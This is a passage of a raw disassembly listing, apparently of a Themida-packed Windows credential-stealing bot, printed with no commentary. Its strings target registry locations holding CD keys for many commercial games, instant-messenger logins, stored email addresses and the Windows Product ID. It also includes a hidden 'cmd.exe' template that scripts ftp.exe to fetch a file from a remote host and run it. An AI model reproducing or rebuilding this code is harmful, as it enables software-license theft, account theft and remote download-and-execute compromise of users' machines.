2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457C0o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:00434FBAo align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00434F7Eo align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o align 4 dd 0 dword_44692C dd 3A6D6961h, 732520h, 0dword_446938 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:00434E82o db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_446A6C dd 3A6E736Dh, 732520h, 0dword_446A78 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00435447o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4356F0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4356F0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4356F0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4356F0+3BBo align 4 loc_446BA4: ; DATA XREF: sub_4356F0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_446BAF: ; DATA XREF: sub_4356F0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_446BBB: ; DATA XREF: sub_4356F0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_446BC7: ; DATA XREF: ___:00435EB6o ; ___:00436110o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_446BD8: ; CODE XREF: ___:00446BDDj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_446BD8 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043633Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_446CD0 dd offset off_43E1D4 ; DATA XREF: ___:off_43E318o ; ___:0043E354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Bh dup(0) byte_446F60 db 0 ; DATA XREF: sub_4034E0+95o ; sub_404640+200o ... align 4 dword_446F64 dd 0 ; sub_4245F0+11o ... dword_446F68 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D3DFr ... align 10h dword_446F70 dd 0 ; ___:0040D345w ... dd 8 dup(0) dword_446F94 dd 41h dup(0) ; ___:0040D380o ... dword_447098 dd 0 ; ___:loc_40D3D4r ... dword_44709C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D34Fr ... dword_4470A0 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D580+CAw dword_4470A4 dd 0 ; sub_40D580+E3r dd 11h dup(0) dword_4470EC dd 0 ; sub_40FF60+47Dr dword_4470F0 dd 0 ; sub_40FF60+515r ... dword_4470F4 dd 0 ; sub_40FF60+655r ... dword_4470F8 dd 0 ; sub_40FF60+B79r ... dword_4470FC dd 0 ; sub_40FF60+74Br dword_447100 dd 0 ; sub_40FF60+828r dword_447104 dd 0 ; sub_40FF60+77Cr dword_447108 dd 0 ; sub_40FF60+4DDr ... dword_44710C dd 0 ; sub_40FF60+311r dword_447110 dd 0 ; sub_40FF60+34Dr ... dword_447114 dd 0 ; sub_40FF60+33Dr dword_447118 dd 0 ; sub_40FF60+3D2r dword_44711C dd 0 ; sub_40FF60+E93r dword_447120 dd 0 ; sub_40FF60+1220r ... dword_447124 dd 0 ; sub_411FE0+4DAr dword_447128 dd 0 ; sub_40FF60+683r dword_44712C dd 0 ; sub_40FF60+6B5r dword_447130 dd 0 ; sub_40FF60+1252r dd 5 dup(0) dword_447148 dd 10h dup(0) ; ___:0040405Fo ... db 2 dup(0) byte_44718A db 0 ; DATA XREF: sub_409A30r sub_409AA0r align 4 db 3 dup(0) byte_44718F db 0 ; DATA XREF: sub_40D580+10Fr db 0 byte_447191 db 0 ; DATA XREF: sub_40DB10r word_447192 dw 0 ; DATA XREF: sub_40DB10+9o dd 44h dup(0) db 3 dup(0) byte_4472A7 db 0 ; DATA XREF: ___:00412ECAo ; ___:00412F7Fo ... db 3 dup(0) byte_4472AB db 0 ; DATA XREF: sub_41F860:loc_41F89Dr align 10h dword_4472B0 dd 12h dup(0) ; sub_40FF60+114o db 0 byte_4472F9 db 3 dup(0) ; DATA XREF: ___:00408AEBo ; sub_40FF60+159o ... dd 11h dup(0) db 2 dup(0) word_447342 dw 0 ; DATA XREF: ___:00408AC2o ; sub_40FF60+132o dd 6 dup(0) word_44735C dw 0 ; DATA XREF: sub_40FF60+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44738B db 0 ; DATA XREF: ___:00408B14o ; sub_40FF60+17Co ... dd 12h dup(0) dword_4473D4 dd 12h dup(0) ; sub_40FF60+F7o ... db 0 byte_44741D db 3 dup(0) ; DATA XREF: ___:00408A4Do ; sub_40FF60+D0o ... dd 23h dup(0) db 3 dup(0) byte_4474AF db 0 ; DATA XREF: ___:00408B3Do ; sub_40FF60+19Ao dd 24h dup(0) db 0 byte_447541 db 3 dup(0) ; DATA XREF: sub_425020+2Bo ; sub_425020+37o dd 11h dup(0) db 2 dup(0) word_44758A dw 0 ; DATA XREF: ___:00412E9Ao ; ___:00412EB9o ... dd 3Ch dup(0) db 3 dup(0) dword_44767F dd 0 ; sub_41EF30+154r ... align 4 dd 35h dup(0) db 0 byte_447759 db 0 ; DATA XREF: sub_41B950+18r align 4 dd 36h dup(0) byte_447834 db 0 ; DATA XREF: sub_40FF60+842r align 4 dd 0Bh dup(0) dword_447864 dd 18h dup(0) ; sub_40ED70+97o ... db 2 dup(0) byte_4478C6 db 0 ; DATA XREF: sub_404C70+258r ; sub_41D830+671r align 4 dd 11h dup(0) db 3 dup(0) byte_44790F db 0 ; DATA XREF: sub_404C70:loc_404EE0r ; sub_41D830:loc_41DEB9r dd 0Bh dup(0) db 3 dup(0) byte_44793F db 0 ; DATA XREF: sub_404C70+279o ; sub_41D830+692o ... dd 12h dup(0) dword_447988 dd 2Bh dup(0) ; sub_41EF30+630o ... dword_447A34 dd 0 dd 11h dup(0) db 0 dword_447A7D dd 0 align 4 dd 0D9h dup(0) byte_447DE8 db 0 ; DATA XREF: sub_41EF30+146r ; sub_41EF30+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_448C8E dw 0 ; DATA XREF: sub_404640+1BDo ; sub_404B10+31o ... db 2 dup(0) word_448C92 dw 0 ; DATA XREF: sub_404B10+4o dd 1Ch dup(0) db 2 dup(0) word_448D06 dw 0 ; DATA XREF: sub_407660+36o ; sub_4076F0+3Eo ... dd 26h dup(0) dword_448DA0 dd 86h dup(0) ; sub_404C70+27Eo ... db 3 dup(0) byte_448FBB db 0 ; DATA XREF: sub_425640+3Bw ; sub_4256B0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_4491BB dd 0 ; sub_4256B0+4Fw ... dword_4491BF dd 0 ; ___:004240BDw ... dword_4491C3 dd 0 ; sub_4256B0+5Dr ... dword_4491C7 dd 0 ; sub_4256B0+8Cr ... dword_4491CB dd 0 ; sub_4256B0+9Dr dword_4491CF dd 0 ; ___:004240F1r ... byte_4491D3 db 0 ; DATA XREF: sub_425640+42w ; sub_4256B0+85w dd 301Ch dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_444F30o dd 0EB85h dup(0) dword_49005C dd 0B0A3h dup(0) db 0 byte_4BC2E9 db 3 dup(0) ; DATA XREF: ___:off_402009o dd 6058h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44432Co dd 6DAh dup(0) db 3 dup(0) dword_4D5FBB dd 0 ; sub_4258E0+13o align 10h dd 39h dup(0) db 0 byte_4D60A5 db 3 dup(0) ; DATA XREF: sub_404C20+1Eo ; sub_404C70+65o ... dd 5 dup(0) byte_4D60BC db 0 ; DATA XREF: sub_404C70+292w ; sub_404C70+4EEw dword_4D60BD dd 0 ; sub_422A40:loc_4231C4r ... align 4 dd 0 db 0 dword_4D60C9 dd 0 ; sub_404C20+2Aw byte_4D60CD db 3 dup(0) ; DATA XREF: ___:00412EF4o ; ___:00412F17o dd 9 dup(0) db 3 dup(0) dword_4D60F7 dd 0 ; sub_427AD0:loc_427BC7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D61BB db 0 ; DATA XREF: sub_425870+16o ; sub_4258A0+19o db 3 dup(0) byte_4D61BF db 0 ; DATA XREF: sub_4257A0+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D637F db 0 ; DATA XREF: ___:004081D8o ; ___:00408664o ... dd 8 dup(0) dword_4D63A0 dd 0 dd 51h dup(0) db 0 byte_4D64E9 db 0 ; DATA XREF: sub_426820:loc_4268D0r ; sub_426CE0:loc_426D95r ... align 4 dd 9Eh dup(0) db 0 dword_4D6765 dd 0 ; sub_426CE0+7Dw ... align 4 dd 1EDAh dup(0) db 0 byte_4DE2D5 db 3 dup(0) ; DATA XREF: ___:00419E93o ; sub_419F50+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E5DBF db 0 ; DATA XREF: sub_426A60+1Do dd 21h dup(0) db 0 byte_4E5E45 db 3 dup(0) ; DATA XREF: ___:00419EA3o dd 235h dup(0) db 3 dup(0) byte_4E671F db 0 ; DATA XREF: sub_426A60+2Fo dd 1D5h dup(0) byte_4E6E74 db 0 ; DATA XREF: sub_404C70+299w ; sub_40FF60:loc_40FFA2r ... byte_4E6E75 db 3 dup(0) ; DATA XREF: sub_404C70+235o ; sub_404C70+87Ao ... dd 4 dup(0) db 2 dup(0) word_4E6E8A dw 0 ; DATA XREF: sub_404C70+2D4o ; ___:00408678o ... dd 0Fh dup(0) db 0 byte_4E6EC9 db 0 ; DATA XREF: sub_41F860+31w ; sub_41F860+47w ... db 0 byte_4E6ECB db 0 ; DATA XREF: sub_418490+21o ; sub_41D830+341o ... dd 7522h dup(0) dword_504354 dd 0AC2h dup(0) dword_506E5C dd 1000h dup(0) ; ___:00419A9Do ... dword_50AE5C dd 333h dup(0) ; ___:00419AB8o ... dword_50BB28 dd 0 ; sub_41A010+1Br ... dd 3 dup(0) dword_50BB38 dd 0 ; ___:0041FB3Dw ... dword_50BB3C dd 0 ; sub_41FA90+2Aw ... dword_50BB40 dd 0 dword_50BB44 dd 0 ; ___:0041FB5Bw dword_50BB48 dd 0 dword_50BB4C dd 0 ; ___:0041FB67w ... dword_50BB50 dd 0 ; ___:0041FB6Dw ... dword_50BB54 dd 0 ; ___:00420DA9o dword_50BB58 dd 0 ; sub_41FA90:loc_41FAB4r ... dword_50BB5C dd 0 ; ___:0041FB81w dword_50BB60 dd 0 ; sub_420530+41w ... dword_50BB64 dd 0 ; sub_420530+7Fr dword_50BB68 dd 0 ; sub_420530+92r ... dword_50BB6C dd 0 ; sub_420530+148r dd 3 dup(0) dword_50BB7C dd 0 ; ___:0041C1A5o dword_50BB80 dd 0 ; sub_423720+5r ... dword_50BB84 dd 0 ; ___:00423EB1r ... dd 7CEh dup(0) dword_50DAC0 dd 6 dup(0) ; ___:00423DB2o ... dword_50DAD8 dd 196h dup(0) ; sub_423660+6Do dword_50E130 dd 0 word_50E134 dw 0 ; DATA XREF: sub_424E90+A9r align 4 byte_50E138 db 0 ; DATA XREF: sub_4254E0:loc_425540r ; sub_4254E0+97w align 4 dword_50E13C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_426820+D9r dword_50E140 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_426820+45r dword_50E144 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_426820+54r ... dd 0 dword_50E14C dd 80h dup(0) ; sub_426A60+129o dword_50E34C dd 0 dword_50E350 dd 0 dd 1Dh dup(0) dword_50E3C8 dd 0 ; ___:0042B11Dr ... dword_50E3CC dd 0 ; sub_42CB10:loc_42CBA6r ... dword_50E3D0 dd 0 ; resolved to->WS2_32.connect ; sub_431280+2Dr ... dword_50E3D4 dd 0 dword_50E3D8 dd 0 ; sub_430270r ... dword_50E3DC dd 0 dword_50E3E0 dd 0 ; sub_42F6B0+111w ... dword_50E3E4 dd 0 ; sub_42F6B0+F6r ... dword_50E3E8 dd 0 ; ___:loc_4303B0r dword_50E3EC dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_430FE0+2Cr ... dd 2 dup(0) dd 0 dd 139h dup(0) dword_50E8E0 dd 10h dup(0) ; sub_430180:loc_4301B0o ... dword_50E920 dd 8 dup(0) ; sub_42F540+25o ... dword_50E940 dd 8 dup(0) ; sub_430690+25o ... dword_50E960 dd 8 dup(0) ; sub_431560+84o ... dword_50E980 dd 8 dup(0) ; sub_431560+8Bo ... dword_50E9A0 dd 35Ch dup(0) ; sub_42F6B0:loc_42F7C7o ... dword_50F710 dd 0 align 8 dword_50F718 dd 0 dd 2 dup(0) dword_50F724 dd 0 dd 4 dup(0) dword_50F738 dd 0 ; sub_40E7A0+25Ar ... dword_50F73C dd 0 dword_50F740 dd 0 dd 2 dup(0) dword_50F74C dd 0 ; sub_40ED70+15Er ... dd 0 dword_50F754 dd 0 ; sub_40E7A0+22Cr dd 0 dword_50F75C dd 0 ; sub_4207E0+285r ... dd 0 dword_50F764 dd 0 ; sub_40E7A0+24Cr dd 3Ch dup(0) dword_50F858 dd 0 dword_50F85C dd 0 dword_50F860 dd 0 align 10h dd 0 dword_50F874 dd 0 ; sub_420530+FEr dd 0Ah dup(0) dword_50F8A0 dd 0 ; sub_420530:loc_42057Cr ... dword_50F8A4 dd 0 ; sub_40FF60+47r ... dd 7 dup(0) dword_50F8C4 dd 0 align 10h dword_50F8D0 dd 0 ; sub_41B4B0+2Fr ... align 8 dword_50F8D8 dd 0 ; sub_4203D0+2Er ... dd 3 dup(0) dword_50F8E8 dd 0 dd 8 dup(0) dd 0 dd 27h dup(0) dword_50F9AC dd 0 dd 2Ch dup(0) dword_50FA60 dd 0 ; sub_42D2C0+53r ... dword_50FA64 dd 0 dd 4 dup(0) dword_50FA78 dd 0 align 10h dword_50FA80 dd 0 dword_50FA84 dd 0 ; sub_42CB10+4Ar ... align 10h dword_50FA90 dd 0 dword_50FA94 dd 0 dword_50FA98 dd 0 dword_50FA9C dd 0 dword_50FAA0 dd 0 dword_50FAA4 dd 0 dd 0 dword_50FAAC dd 0 ; ___:0041C2DAr dd 3 dup(0) dword_50FABC dd 0 ; sub_41B950+17Er ... dd 0 dword_50FAC4 dd 0 ; sub_42DFD0+34r ... dd 0 dword_50FACC dd 0 dd 0 dword_50FAD4 dd 0 ; sub_42CB10+90r dword_50FAD8 dd 0 align 10h dword_50FAE0 dd 0 dd 4 dup(0) dword_50FAF4 dd 0 ; sub_41BC90+5Dr dword_50FAF8 dd 0 ; sub_40FF60+1126r ... dword_50FAFC dd 0 ; ___:00419BDAr dd 2 dup(0) dword_50FB08 dd 0 ; sub_422A40+203r ... dd 2 dup(0) dword_50FB14 dd 0 dd 0 dd 0 dd 34h dup(0) dword_50FBF0 dd 0 ; sub_419F50+2Dr ... dd 0Bh dup(0) dword_50FC20 dd 0 dd 2 dup(0) dword_50FC2C dd 0 ; sub_425020:loc_4250C9r ... dword_50FC30 dd 0 ; sub_42A5F0:loc_42A6ABr dd 4 dup(0) dword_50FC44 dd 0 align 10h dword_50FC50 dd 0 ; sub_42B540+E8r align 8 dword_50FC58 dd 0 dword_50FC5C dd 0 ; sub_42A5F0+F9r dd 6 dup(0) dword_50FC78 dd 0 align 10h dword_50FC80 dd 0 ; sub_41A6D0+48r ... dword_50FC84 dd 0 dword_50FC88 dd 0 ; sub_41F860+198r ... dword_50FC8C dd 0 ; ___:004216E1r ... dword_50FC90 dd 0 ; sub_427AD0+18Dr ... dd 4DBh dup(0) ___ ends ; Section 2. (virtual address 00111000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00111000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 511000h align 2000h _rsrc___ ends ; Section 3. (virtual address 00112000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00112000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 512000h dd 400h dup(0) _idata__ ends ; Section 4. (virtual address 00113000) ; Virtual size : 00112000 (1122304.) ; Section size in file : 00112000 (1122304.) ; Offset to raw data for section: 00113000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 513000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 5 dup(0) public start start dd 0C54Ch dup(0) db 3 dup(0) byte_544547 db 0 ; DATA XREF: ___:off_445248o dd 7512h dup(0) db 3 dup(0) db 0 dd 179B2h dup(0) dword_5C005C dd 0A858h dup(0) db 0 byte_5EA1BD db 3 dup(0) ; CODE XREF: sub_406890+12Bp ; sub_409BC0+1Dp ... dd 0A2D8h dup(0) dword_612D20 dd 0FCBh dup(0) db 2 dup(0) word_616C4E dw 0 ; DATA XREF: ___:off_444314o dd 3034h dup(0) dword_622D20 dd 8B8h dup(0) Themida_ ends ; Section 5. (virtual address 00225000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00225000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 625000h align 2000h _idata2 ends end start